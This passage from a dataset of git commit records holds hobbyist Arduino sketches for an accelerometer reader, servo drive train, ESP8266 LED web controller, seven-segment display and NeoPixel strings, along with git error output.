yRaw = readAxis(1);\n int zRaw = readAxis(2);\n \n if (digitalRead(calibratePin) == LOW)\n autoCalibrate(xRaw, yRaw, zRaw);\n\/* \n Serial.print(\"Raw Ranges: X: \");\n Serial.print(xRawMin);\n Serial.print(\"-\");\n Serial.print(xRawMax);\n \n Serial.print(\", Y: \");\n Serial.print(yRawMin);\n Serial.print(\"-\");\n Serial.print(yRawMax);\n \n Serial.print(\", Z: \");\n Serial.print(zRawMin);\n Serial.print(\"-\");\n Serial.print(zRawMax);\n Serial.println();\n \n Serial.print(xRaw);\n Serial.print(\", \");\n Serial.print(yRaw);\n Serial.print(\", \");\n Serial.print(zRaw);\n *\/\n \/\/ Convert raw values to 'milli-Gs\"\n long xScaled = map(xRaw, xRawMin, xRawMax, -1000, 1000);\n long yScaled = map(yRaw, yRawMin, yRawMax, -1000, 1000);\n long zScaled = map(zRaw, zRawMin, zRawMax, -1000, 1000);\n \n \/\/ re-scale to gs and negated \n float xAccel = xScaled \/ 1000.0;\n float yAccel = yScaled \/ 1000.0;\n float zAccel = zScaled \/ 1000.0; \n\n Serial.print(xAccel);\n Serial.print(\"G, \");\n Serial.print(yAccel);\n Serial.print(\"G, \");\n Serial.print(zAccel);\n Serial.print(\"G\");\n \/\/ convert to angles \n\n float pitch = getPitch(xAccel,yAccel,zAccel);\n float roll = getRoll(xAccel,yAccel,zAccel);\n Serial.print(\" roll=\");\n Serial.print(roll);\n Serial.print(\", pitch= \");\n Serial.println(pitch);\n \n delay(intervalms);\n\n}\n\nfloat asDegree(float radians) {\n return radians * 180.0 \/ 3.141592;\n}\n\nint signum(float x) {\n if (x >= 0) return 1; else return -1;\n}\n\nfloat getPitch(float gX, float gY,float gZ) {\n return asDegree(atan2(gX, sqrt(gY*gY + gZ*gZ))); \n}\n\nfloat getRoll(float gX, float gY,float gZ) {\n float mu= 0.01;\n return asDegree(atan2(gY, signum(gZ) * sqrt(gZ*gZ + mu*gX*gX))); \n}\n\nint readAxis(int i) {\n return ads.readADC_SingleEnded(i);\n}\n\n\/\/\n\/\/ Read \"sampleSize\" samples and return the average\n\/\/\nint sampleAxis(int axisPin)\n{ \n long sum=0;\n for (int i = 0; i<sampleSize;i++) {\n int reading = readAxis(axisPin);\n sum += reading;\n delay(20);\n }\n return sum\/sampleSize;\n}\n \n\/\/\n\/\/ Find the extreme raw readings from each axis\n\/\/\n\nvoid setInitialLimits() {\n\/\/ initialize to first reading\n\/\/ equal min and max in map causes a fault\n xRawMin = sampleAxis(0); xRawMax=xRawMin+1;\n yRawMin = sampleAxis(1); yRawMax=yRawMin+1;\n zRawMin = sampleAxis(2); zRawMax=zRawMin+1;\n}\nvoid setStoredLimits() {\n\/\/ use previously calibrated values\n xRawMin = 10521; xRawMax = 15735;\n yRawMin = 10352; yRawMax = 15589;\n zRawMin = 10616; zRawMax = 15813; \n}\nvoid autoCalibrate(int xRaw, int yRaw, int zRaw)\n{\n Serial.println(\"Calibrate\");\n if (xRaw < xRawMin)\n {\n xRawMin = xRaw;\n }\n if (xRaw > xRawMax)\n {\n xRawMax = xRaw;\n }\n \n if (yRaw < yRawMin)\n {\n yRawMin = yRaw;\n }\n if (yRaw > yRawMax)\n {\n yRawMax = yRaw;\n }\n \n if (zRaw < zRawMin)\n {\n zRawMin = zRaw;\n }\n if (zRaw > zRawMax)\n {\n zRawMax = zRaw;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ESP8266-code\/ADXL335Test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"37360449771dc725f5239c348462134fa4214e7f","subject":"Added documentation","message":"Added documentation\n\nSigned-off-by: Edi Permadi <163b49ac0c44ca5b49677bf42f3f8680b3bd9867@gmail.com>\n","repos":"edipermadi\/teensy-hsm,edipermadi\/teensy-hsm","old_file":"teensy-hsm\/aes.ino","new_file":"teensy-hsm\/aes.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/edipermadi\/teensy-hsm.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"e034202364d40ab20ec1b0077b231f1d40b1ee80","subject":"Arduino Code Added","message":"Arduino Code Added\n","repos":"apache8080\/NVIDIABot,Talos4757\/NVIDIABot","old_file":"DriveTrain\/DriveTrain.ino","new_file":"DriveTrain\/DriveTrain.ino","new_contents":"\/\/ Sweep\n\/\/ by BARRAGAN <http:\/\/barraganstudio.com> \n\/\/ This example code is in the public domain.\n\n\n#include <Servo.h> \n \nServo myservo1; \/\/ create servo object to control a servo \nServo myservo2;\/\/pytyhon\nServo myservo3;\nServo myservo4;\/\/ a maximum of eight servo objects can be created \n \nint pos = 0; \/\/ variable to store the servo position \n \nvoid setup() \n{ \n \/\/ myservo1.attach(8);\n \/\/ myservo2.attach(9);\n \/*\n MC2 and MC7 in arduino port 9\n MC6 and MC with no fan in arduino port 3\n *\/\n myservo1.attach(9);\n myservo2.attach(3);\n Serial.begin(9600); \/\/ set the baud rate\n Serial.println(\"Ready\");\n \/\/Serial.begin(9600); \n \/\/Serial.println(\"Ready\"); \/\/ attaches the servo on pin 9 to the servo object \n} \n \n \nvoid loop() \n{ \n if(Serial.available()){ \/\/ only send data back if data has been sent\n \/\/char inByte = Serial.read(); \/\/ read the incoming data\n int motorSpeed = Serial.read();\n Serial.println(motorSpeed); \n myservo1.write(motorSpeed);\n myservo2.write(motorSpeed);\n \/\/myservo3.write(motorSpeed);\n \/\/ myservo4.write(motorSpeed);\/\/ send the data back in a new line so that it is not all one long line\n }\n \n delay(15);\n} \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'DriveTrain\/DriveTrain.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"78797c9c70eec06dc56e7e736fd0809b315e8b9a","subject":"Fi-DEL","message":"Fi-DEL\n\nFichier d'origine","repos":"Miauto\/Fi-DEL,Miauto\/Fi-DEL","old_file":"Fi-DEL.ino","new_file":"Fi-DEL.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <WiFiClient.h>\n#include <ESP8266WebServer.h>\n#include <ESP8266mDNS.h>\n#include <Adafruit_NeoPixel.h>\n\n\n#define PIN 2\n#define NbLED 4\n#define colorSaturation 255\nString Choix = \"Rainbow\";\nString Couleur = \"\";\nString Vitesse = \"\";\nbyte Rgb = 0;\nbyte rGb = 0;\nbyte rgB = 0;\n\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(NbLED, PIN, NEO_GRB + NEO_KHZ800);\n\nconst char *ssid = \"SSID_1\"; \/\/ A modifier\nconst char *password = \"SSID_MDP_1\"; \/\/ A modifier\nconst char *ssid2 = \"SSID_2\"; \/\/ A modifier\nconst char *password2 = \"SSID_MDP_2\"; \/\/ A modifier\n\nint ErrComm = 0;\n\nMDNSResponder mdns;\nESP8266WebServer server ( 80 );\n\n\nvoid handleRoot() {\n\n String out = \"<html>\\n\"\n \"<head>\\n\"\n \"<meta charset='utf-8'>\\n\"\n \"<title>Fi-DEL<\/title>\\n\"\n \"<script>\\n\"\n \"\\n\"\n \"var nodes = [\\n\"\n \" 'http:\/\/espe0c2f1',\\n\"\n \" 'http:\/\/espe0bfad',\\n\"\n \" 'http:\/\/esp001507',\\n\"\n \" 'http:\/\/espe0c786',\\n\"\n \" 'http:\/\/esp104d81',\\n\"\n \"]\\n\"\n \"\\n\"\n \"function sendReq(path, params) {\\n\"\n \" var oReq = new XMLHttpRequest();\\n\"\n \"\\n\"\n \" if(params) {\\n\"\n \" var query = objToWWWEncoded(params);\\n\"\n \" path += '?' + query;\\n\"\n \" }\\n\"\n \" \\n\"\n \" oReq.open('GET', path);\\n\"\n \" oReq.send();\\n\"\n \"}\\n\"\n \"\\n\"\n \"function objToWWWEncoded(obj) {\\n\"\n \" var str = '';\\n\"\n \"\\n\"\n \" for(prop in obj) {\\n\"\n \" if(str) {\\n\"\n \" str += '&';\\n\"\n \" }\\n\"\n \" str += prop + '=' + encodeURIComponent(obj[prop]);\\n\"\n \" }\\n\"\n \"\\n\"\n \" return str;\\n\"\n \"}\\n\"\n \"\\n\"\n \"function formToObj(form) {\\n\"\n \" var obj = {};\\n\"\n \" var inputs = form.getElementsByTagName('input');\\n\"\n \" \\n\"\n \" for(input of inputs) {\\n\"\n \" obj[input.name] = input.value;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return obj;\\n\"\n \"}\\n\"\n \"\\n\"\n \"function submitForm(form) {\\n\"\n \" var obj = formToObj(form);\\n\"\n \" \\n\"\n \" for(node of nodes) {\\n\"\n \" sendReq(node + form.getAttribute('action'), obj);\\n\"\n \" }\\n\"\n \"}\\n\"\n \"\\n\"\n \"function submitLink(a) {\\n\"\n \" for(node of nodes) {\\n\"\n \" sendReq(node + a.getAttribute('href'));\\n\"\n \" }\\n\"\n \"}\\n\"\n \"\\n\"\n \"document.addEventListener('DOMContentLoaded', function(event) {\\n\"\n \" var forms = document.getElementsByTagName('form');\\n\"\n \" var as = document.getElementsByTagName('a');\\n\"\n \"\\n\"\n \" for(element of forms) {\\n\"\n \" element.addEventListener('submit', function(e) {\\n\"\n \" e.preventDefault();\\n\"\n \" submitForm(e.currentTarget);\\n\"\n \" });\\n\"\n \" }\\n\"\n \"\\n\"\n \" for(element of as) {\\n\"\n \" element.addEventListener('click', function(e) {\\n\"\n \" e.preventDefault();\\n\"\n \" submitLink(e.currentTarget);\\n\"\n \" });\\n\"\n \" }\\n\"\n \"});\\n\"\n \"\\n\"\n \"<\/script>\\n\"\n \"<\/head>\\n\"\n \"<body style='background-color: rgb(12, 24, 36)'>\\n\"\n \"<span style='display:block; width:100%; font-size:2em; font-family:Verdana; text-align:center; color:white'>Led-Fi<\/span>\\n\"\n \"<br\/>\\n\"\n \"<a href='\/color?couleur=%23000000&vitesse=0'><span style='display:block; float: left; background-color:Black; width:100%; height:5em;font-size:2em; font-family:Verdana; text-align:center; color:White'>BLACKOUT<\/span><\/a>\\n\"\n \"<br>\\n\"\n \"<a href='\/neige'><span style='display:block; float: left; background-color:white; width:25%; height:5em;font-size:2em; font-family:Verdana; text-align:center; color:Black'>Neige<\/span><\/a>\\n\"\n \"<a href='\/Gyro'><span style='display:block; float: left; background-color:red; width:25%; height:5em;font-size:2em; font-family:Verdana; text-align:center; color:Black'>Gyro<\/span><\/a>\\n\"\n \"<a href='\/rainbow'><span style='display:block; float: left; background-color:Orange; width:25%; height:5em;font-size:2em; font-family:Verdana; text-align:center; color:Black'>Rainbow<\/span><\/a>\\n\"\n \"<a href='\/theatre'><span style='display:block; float: left; background-color:pink; width:25%; height:5em;font-size:2em; font-family:Verdana; text-align:center; color:Black'>Rainbow Strobe<\/span><\/a>\\n\"\n \"<br>\\n\"\n \"<a href='\/color?couleur=%23FFFFFF&vitesse=50'><span style='display:block; float: left; background-color:white; width:25%; height:5em;font-size:2em; font-family:Verdana; text-align:center; color:Black'>Strobe 50ms<\/span><\/a>\\n\"\n \"<a href='\/color?couleur=%23FFFFFF&vitesse=75'><span style='display:block; float: left; background-color:white; width:25%; height:5em;font-size:2em; font-family:Verdana; text-align:center; color:Black'>Strobe 75ms<\/span><\/a>\\n\"\n \"<a href='\/color?couleur=%23FFFFFF&vitesse=100'><span style='display:block; float: left; background-color:white; width:25%; height:5em;font-size:2em; font-family:Verdana; text-align:center; color:Black'>Strobe 100ms<\/span><\/a>\\n\"\n \"<a href='\/color?couleur=%23FFFFFF&vitesse=0'><span style='display:block; float: left; background-color:white; width:25%; height:5em;font-size:2em; font-family:Verdana; text-align:center; color:Black'>BLANC<\/span><\/a>\\n\"\n \n \"<a href='\/color?couleur=%230000FF&vitesse=50'><span style='display:block; float: left; background-color:blue; width:25%; height:5em;font-size:2em; font-family:Verdana; text-align:center; color:Black'>Strobe 50ms<\/span><\/a>\\n\"\n \"<a href='\/color?couleur=%230000FF&vitesse=75'><span style='display:block; float: left; background-color:blue; width:25%; height:5em;font-size:2em; font-family:Verdana; text-align:center; color:Black'>Strobe 75ms<\/span><\/a>\\n\"\n \"<a href='\/color?couleur=%230000FF&vitesse=100'><span style='display:block; float: left; background-color:blue; width:25%; height:5em;font-size:2em; font-family:Verdana; text-align:center; color:Black'>Strobe 100ms<\/span><\/a>\\n\"\n \"<a href='\/color?couleur=%230000FF&vitesse=0'><span style='display:block; float: left; background-color:blue; width:25%; height:5em;font-size:2em; font-family:Verdana; text-align:center; color:Black'>BLEU<\/span><\/a>\\n\"\n \n \"<a href='\/color?couleur=%23FF0000&vitesse=50'><span style='display:block; float: left; background-color:Red; width:25%; height:5em;font-size:2em; font-family:Verdana; text-align:center; color:Black'>Strobe 50ms<\/span><\/a>\\n\"\n \"<a href='\/color?couleur=%23FF0000&vitesse=75'><span style='display:block; float: left; background-color:Red; width:25%; height:5em;font-size:2em; font-family:Verdana; text-align:center; color:Black'>Strobe 75ms<\/span><\/a>\\n\"\n \"<a href='\/color?couleur=%23FF0000&vitesse=100'><span style='display:block; float: left; background-color:Red; width:25%; height:5em;font-size:2em; font-family:Verdana; text-align:center; color:Black'>Strobe 100ms<\/span><\/a>\\n\"\n \"<a href='\/color?couleur=%23FF0000&vitesse=0'><span style='display:block; float: left; background-color:Red; width:25%; height:5em;font-size:2em; font-family:Verdana; text-align:center; color:Black'>ROUGE<\/span><\/a>\\n\"\n \n \"<a href='\/color?couleur=%2300FF00&vitesse=50'><span style='display:block; float: left; background-color:green; width:25%; height:5em;font-size:2em; font-family:Verdana; text-align:center; color:Black'>Strobe 50ms<\/span><\/a>\\n\"\n \"<a href='\/color?couleur=%2300FF00&vitesse=75'><span style='display:block; float: left; background-color:green; width:25%; height:5em;font-size:2em; font-family:Verdana; text-align:center; color:Black'>Strobe 75ms<\/span><\/a>\\n\"\n \"<a href='\/color?couleur=%2300FF00&vitesse=100'><span style='display:block; float: left; background-color:green; width:25%; height:5em;font-size:2em; font-family:Verdana; text-align:center; color:Black'>Strobe 100ms<\/span><\/a>\\n\"\n \"<a href='\/color?couleur=%2300FF00&vitesse=0'><span style='display:block; float: left; background-color:green; width:25%; height:5em;font-size:2em; font-family:Verdana; text-align:center; color:Black'>VERT<\/span><\/a>\\n\"\n \n \"<br\/>\\n\"\n \"<center>\\n\"\n \"<form action='\/color' method='get'>\\n\"\n \"<input type='color' style='width:50%;height:6em' name='couleur' value=#ffffff>\\n\"\n \"<br>\\n\"\n \"<br>\\n\"\n \"<button>envoye<\/button>\\n\"\n \"<h1 style='color:white'>Vitesse<\/h1>\\n\"\n \"<br>\\n\"\n \"<br>\\n\"\n \"<input type='range' value='0' max='250' min='0' step='50' style='width:90%;height:6em' name='vitesse'>\\n\"\n \"<\/form>\\n\"\n \"<\/center>\\n\"\n \"<\/body>\\n\"\n \"<\/html>\\n\";\n\n \n for ( uint8_t i = 0; i < server.args(); i++ ) {\n if (server.argName (i) == \"couleur\" ) { Couleur = server.arg(i); }\n if (server.argName (i) == \"vitesse\" ) { Vitesse = server.arg(i); }\n out += i + \": \";\n out += server.argName (i) + \"= \";\n out += server.arg(i) + \"\\n\";\n }\n Couleur = server.arg(0);\n Vitesse = server.arg(1);\n server.send ( 200, \"text\/html\", out );\n}\nvoid handleNotFound() {\n String message = \"File Not Found\\n\\n\";\n message += \"URI: \";\n message += server.uri();\n message += \"\\nMethod: \";\n message += ( server.method() == HTTP_GET ) ? \"GET\" : \"POST\";\n message += \"\\nArguments: \";\n message += server.args();\n message += \"\\n\";\n for ( uint8_t i = 0; i < server.args(); i++ ) {\n message += \" \" + server.argName ( i ) + \": \" + server.arg ( i ) + \"\\n\";\n }\n server.send ( 404, \"text\/plain\", message );\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Les fonctions LED \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid showStrip() {\n #ifdef ADAFRUIT_NEOPIXEL_H \n \/\/ NeoPixel\n strip.show();\n #endif\n #ifndef ADAFRUIT_NEOPIXEL_H\n \/\/ FastLED\n FastLED.show();\n #endif\n}\n\nvoid setPixel(int Pixel, byte red, byte green, byte blue) {\n #ifdef ADAFRUIT_NEOPIXEL_H \n \/\/ NeoPixel\n strip.setPixelColor(Pixel, strip.Color(red, green, blue));\n #endif\n #ifndef ADAFRUIT_NEOPIXEL_H \n \/\/ FastLED\n leds[Pixel].r = red;\n leds[Pixel].g = green;\n leds[Pixel].b = blue;\n #endif\n}\n\nvoid setAll(byte red, byte green, byte blue) {\n for(int i = 0; i < NbLED; i++ ) {\n setPixel(i, red, green, blue); \n }\n strip.show();\n}\n\nvoid HexatoDec(String Hexa) {\n\/\/ Get rid of '#' and convert it to integer\nint number = (int) strtol( &Hexa[1], NULL, 16);\n\n\/\/ Split them up into r, g, b values\n Rgb = number >> 16;\n rGb = number >> 8 & 0xFF;\n rgB = number & 0xFF;\n}\n\n\/\/ Input a value 0 to 255 to get a color value.\n\/\/ The colours are a transition r - g - b - back to r.\nuint32_t Wheel(byte WheelPos) {\n if(WheelPos < 85) {\n return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);\n } else if(WheelPos < 170) {\n WheelPos -= 85;\n return strip.Color(255 - WheelPos * 3, 0, WheelPos * 3);\n } else {\n WheelPos -= 170;\n return strip.Color(0, WheelPos * 3, 255 - WheelPos * 3);\n }\n}\n\n\/\/ Rainbow\nvoid rainbow(uint8_t wait, unsigned char* j) {\n int i;\n\n *j = *j+1;\n for(i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, Wheel((i+*j) & 255));\n }\n strip.show();\n delay(wait);\n}\n\n\/\/Theatre-style crawling lights with rainbow effect\nvoid theaterChaseRainbow(uint8_t wait, unsigned char* j) {\n *j = *j+1; \/\/ cycle all 256 colors in the wheel\n for (int q=0; q < 3; q++) {\n for (int i=0; i < strip.numPixels(); i=i+3) {\n strip.setPixelColor(i+q, Wheel( (i+*j) % 255)); \/\/turn every third pixel on\n }\n strip.show();\n\n delay(wait);\n\n for (int i=0; i < strip.numPixels(); i=i+3) {\n strip.setPixelColor(i+q, 0); \/\/turn every third pixel off\n }\n }\n \n}\n\n\/\/ effet neige\nvoid SnowSparkle(byte red, byte green, byte blue, int SparkleDelay, int SpeedDelay) {\n setAll(red,green,blue);\n \n int Pixel = random(NbLED);\n setPixel(Pixel,0xff,0xff,0xff);\n showStrip();\n delay(SparkleDelay);\n setPixel(Pixel,red,green,blue);\n showStrip();\n delay(SpeedDelay);\n}\n\n\/\/ Strobe\nvoid Strobe(byte red, byte green, byte blue, int StrobeCount, int FlashDelay, int EndPause){\n for(int j = 0; j < StrobeCount; j++) {\n setAll(red,green,blue);\n showStrip();\n delay(FlashDelay);\n setAll(0,0,0);\n showStrip();\n delay(FlashDelay);\n }\n \n delay(EndPause);\n}\n\n\nvoid LeftToRight(byte red, byte green, byte blue, int SpeedDelay, int ReturnDelay) {\n for(int i = 0; i < NbLED; i++) {\n setAll(red\/100, green\/100, blue\/100);\n \n setPixel(i, red, green, blue);\n \n showStrip();\n delay(SpeedDelay);\n }\n delay(ReturnDelay);\n}\n\n\nvoid initLED()\n{\n setAll(127, 0, 0);\n delay(500);\n setAll(0, 127, 0);\n delay(500);\n setAll(0, 0, 127);\n delay(500);\n setAll(127, 127, 127);\n delay(1000);\n setAll(0, 0, 0);\n}\n\n\n\nvoid setup ( void ) {\n \n strip.begin();\n strip.show();\n\n Serial.begin ( 115200 );\n WiFi.begin ( ssid, password );\n Serial.println ( \"\" );\n \/\/ Wait for connection\n while ( WiFi.status() != WL_CONNECTED ) {\n delay ( 500 );\n Serial.print ( \".\" );\n ErrComm = ErrComm + 1;\n if (ErrComm > 20) {\n ErrComm = 0;\n WiFi.begin ( ssid2, password2 );\n }\n }\n Serial.println ( \"\" );\n Serial.print ( \"Connected to \" );\n Serial.println ( ssid );\n Serial.print ( \"IP address: \" );\n Serial.println ( WiFi.localIP() );\n if ( mdns.begin ( \"esp8266\", WiFi.localIP() ) ) {\n Serial.println ( \"MDNS responder started\" );\n }\n server.on ( \"\/\", []() {handleRoot();} );\n server.on ( \"\/rainbow\", []() {Choix = \"Rainbow\"; handleRoot(); } );\n server.on ( \"\/theatre\", []() {Choix = \"theaterChaseRainbow\"; handleRoot();} );\n server.on ( \"\/neige\", []() {Choix = \"neige\"; handleRoot();} );\n server.on ( \"\/Gyro\", []() {Choix = \"Gyro\"; handleRoot();} );\n server.on ( \"\/color\", []() {Choix = \"color\"; handleRoot();} );\n server.onNotFound ( handleNotFound );\n server.begin();\n Serial.println ( \"HTTP server started\" );\n initLED();\n Serial.println ( \"Init Finish\" );\n}\n\n\nvoid loop ( void ) {\n unsigned char rainbowIndex;\n unsigned char theaterChaseRainbowIndex;\n \n mdns.update();\n server.handleClient();\n HexatoDec(Couleur);\n \n if (Choix == \"neige\") {\n SnowSparkle(0x10, 0x10, 0x10, 20, random(100,1000));\n } else if (Choix == \"theaterChaseRainbow\") {\n theaterChaseRainbow(50, &theaterChaseRainbowIndex);\n } else if (Choix == \"Rainbow\") {\n rainbow(500, &rainbowIndex);\n } else if (Choix == \"Gyro\") {\n LeftToRight(255, 0, 0, 75, 0);\n } else if (Choix == \"color\") {\n \n if ( Vitesse.toInt() > 0 ) { Strobe(Rgb, rGb, rgB, 1, Vitesse.toInt(), 0);} else { setAll(Rgb, rGb, rgB);}\n }\n \n if (Choix == \"\") {} else { Serial.println (Choix); }\n if (Couleur == \"\") {} else { Serial.println (Couleur);}\n \n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Fi-DEL.ino' did not match any file(s) known to git\n","license":"isc","lang":"Arduino"} {"commit":"933725f9142ce98409a73d5b72cab092c3817711","subject":"Added LedDisplay","message":"Added LedDisplay\n","repos":"AaronLieberman\/ArduinoTinkering,AaronLieberman\/ArduinoTinkering,AaronLieberman\/ArduinoTinkering,AaronLieberman\/ArduinoTinkering","old_file":"LedDisplay\/LedDisplay.ino","new_file":"LedDisplay\/LedDisplay.ino","new_contents":"#include <arduino.h>\n\n\/\/ shared pins\nint outputDisabledPin = 9;\nint registerClockPin = 10;\n\n\/\/ segment pins\nint whichSegmentData = 2; \nint segmentShiftRegisterClockPin = 4;\n\n\/\/ digit pins\nint whichDigitData = 11;\nint shiftRegisterClockPin = 12;\n\nconst int segTop = (1 << 0);\nconst int segDot = (1 << 1);\nconst int segMiddle = (1 << 2);\nconst int segBottomRight = (1 << 3);\nconst int segBottomLeft = (1 << 4);\nconst int segBottom = (1 << 5);\nconst int segTopLeft = (1 << 6);\nconst int segTopRight = (1 << 7);\n\nbyte segmentIndex = 0;\nint valueToDisplay = 0;\n\nunsigned long lastIncrement = 0;\n\nint digitValues[] = \n{\n segTop | segTopLeft | segTopRight | segBottomLeft | segBottomRight | segBottom,\n segTopRight | segBottomRight,\n segTop | segTopRight | segMiddle | segBottomLeft | segBottom,\n segTop | segTopRight | segMiddle | segBottomRight | segBottom,\n segTopLeft | segTopRight | segMiddle | segBottomRight,\n segTop | segTopLeft | segMiddle | segBottomRight | segBottom,\n segTop | segTopLeft | segMiddle | segBottomLeft | segBottomRight | segBottom,\n segTop | segTopRight | segBottomRight,\n segTop | segTopLeft | segTopRight | segMiddle | segBottomLeft | segBottomRight | segBottom,\n segTop | segTopLeft | segTopRight | segMiddle | segBottomRight | segBottom,\n};\n\nvoid setup()\n{\n Serial.begin(9600);\n Serial.println();\n \n pinMode(outputDisabledPin, OUTPUT);\n pinMode(registerClockPin, OUTPUT); \n pinMode(whichSegmentData, OUTPUT);\n pinMode(segmentShiftRegisterClockPin, OUTPUT); \n pinMode(whichDigitData, OUTPUT);\n pinMode(shiftRegisterClockPin, OUTPUT);\n\n digitalWrite(outputDisabledPin, LOW);\n\n writeValue(0, 0);\n valueToDisplay = 0;\n}\n\nvoid loop()\n{\n \/\/ Arduino pow function is approximage and sometimes will end up rounding down when casting to int\n int place = pow(10, 3 - segmentIndex) + 0.5f;\n int segmentValue = (valueToDisplay \/ place) % 10;\n\n writeValue(segmentIndex, segmentValue);\n\n segmentIndex = (segmentIndex + 1) % 4;\n\n unsigned long now = millis();\n if (now > lastIncrement + 20)\n {\n valueToDisplay++;\n lastIncrement = now;\n }\n}\n\nvoid writeValue(byte digit, byte value)\n{\n int digitData = 1 << digit;\n int segmentData = digitValues[value];\n \n shiftOut(whichSegmentData, segmentShiftRegisterClockPin, MSBFIRST, segmentData);\n shiftOut(whichDigitData, shiftRegisterClockPin, MSBFIRST, digitData);\n\n digitalWrite(registerClockPin, HIGH);\n digitalWrite(registerClockPin, LOW);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'LedDisplay\/LedDisplay.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3c2b4049b4abba2aa283c566240a09743e459128","subject":"base version of arduino code","message":"base version of arduino code\n\n for driving multiple strings of neo pixels","repos":"TeamNorCal\/arduino-portal-core","old_file":"MagnusCoreNeoPixel_v1.ino","new_file":"MagnusCoreNeoPixel_v1.ino","new_contents":"#include <Adafruit_NeoPixel.h>\n#include <stdlib.h>\n\n\n\/\/ first communication pin for neo pixel string\n#define BASE_PIN 2\n\nenum Direction { NORTH = 0, NORTHEAST, EAST, SOUTHEAST, SOUTH, SOUTHWEST, WEST, NORTHWEST };\nenum Ownership { neutral = 0, enlightened, resistance };\n\nstruct pixel_string {\n uint16_t phase;\n uint32_t timing;\n};\n\n#define NUM_STRINGS 8 \/\/ one for each resonator\n\n\npixel_string strings[NUM_STRINGS];\n\n\/\/ Parameter 1 = number of pixels in strip\n\/\/ Parameter 2 = Arduino pin number (most are valid)\n\/\/ Parameter 3 = pixel type flags, add together as needed:\n\/\/ NEO_KHZ800 800 KHz bitstream (most NeoPixel products w\/WS2812 LEDs)\n\/\/ NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)\n\/\/ NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)\n\/\/ NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)\n\/\/ NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products)\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(120, BASE_PIN, NEO_RGBW + NEO_KHZ800);\n\n\n\/\/ Serial I\/O\nint8_t command[32];\nint8_t in_index = 0;\n\nvoid start_serial(void)\n{\n in_index = 0;\n Serial.begin(9600);\n}\n\nbool collect_serial(void)\n{\n while( Serial.available() > 0 )\n {\n int8_t ch = Serial.read();\n if( ch == '\\n' ) \n {\n command[in_index] = 0; \/\/ terminate\n if( in_index > 0 )\n {\n in_index = 0;\n return true;\n }\n }\n else if( ch == 0x0a || ch == 0x13 ) \/\/ carriage return or linefeed (ignore\n {\n }\n else\n {\n command[in_index] = ch;\n in_index++;\n \/\/if( in_index >= 32 ) \/\/sizeof(command) )\n \/\/ in_index = 0;\n }\n }\n return false;\n}\n\nuint8_t getPercent(uint8_t *buffer)\n{\n unsigned long inVal = strtoul(buffer,NULL,10);\n return uint8_t( constrain(inVal, 0, 100) );\n}\n\n\nuint8_t dir;\nuint8_t percent;\nuint8_t owner; \/\/ 0=neutral, 1=enl, 2=res\n\n\n\/\/ the setup function runs once when you press reset or power the board\nvoid setup() \n{\n start_serial();\n strip.begin();\n uint8_t i;\n for( i = 0; i<NUM_STRINGS; i++)\n {\n strip.setPin(i+BASE_PIN);\n strip.show(); \/\/ Initialize all pixels to 'off'\n\n strings[i].phase = 0;\n strings[i].timing = 0;\n }\n\n dir = NORTH; \/\/ begin on the north resonator\n owner = neutral;\n percent = 0;\n}\n\n\/\/ the loop function runs over and over again forever\nvoid loop() \n{\n uint16_t i, val;\n\n if( collect_serial() )\n {\n \/\/ we have valid buffer of serial input\n if( command[0] == 'e' || command[0] == 'E' )\n {\n owner = enlightened;\n percent = getPercent(&command[1]);\n }\n else if( command[0] == 'r' || command[0] == 'R' )\n {\n owner = resistance;\n percent = getPercent(&command[1]);\n }\n else if( command[0] == 'n' || command[0] == 'N' )\n {\n owner = neutral;\n percent = 100;\n }\n \/\/Serial.print((char *)command); Serial.print(\" - \");Serial.print(command[0],DEC);Serial.print(\": \"); \n \/\/Serial.print(\"owner \"); Serial.print(owner,DEC); Serial.print(\", percent \"); Serial.println(percent,DEC); \n }\n\n if(strings[dir].timing < millis() )\n {\n strings[dir].timing += 100; \/\/ every 100 milliseconds we will check this direction\n \n strip.setPin(dir+BASE_PIN); \/\/ pick the string\n \n uint8_t red, green, blue, white;\n red = 0x20; green = 0; blue = 0x20; white = 0x20;\n if( owner == neutral ) \n {\n red = 0; green = 0; blue = 0; white = 0x40;\n }\n else if( owner == resistance )\n {\n red = 0; green = 0x1f; blue = 0xff;; white = 0;\n }\n else if( owner == enlightened )\n {\n red = 0x1f; green = 0xff; blue = 0; white = 0;\n }\n \n for(i=0; i < strip.numPixels(); i++)\n {\n \/\/strip.setPixelColor(i, green,blue,red); \/\/ for RGB order is funny?\n strip.setPixelColor(i, green, red, blue,white);\n strip.setBrightness((uint8_t)((uint16_t)(255*percent)\/100));\n } \n strip.show();\n \n dir++;\n if( dir >= NUM_STRINGS )\n dir = 0;\n }\n\n\n}\n\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'MagnusCoreNeoPixel_v1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"334f30a45432359aaef8b9950d994b4295f70843","subject":"Added script to run fine wire twister.","message":"Added script to run fine wire 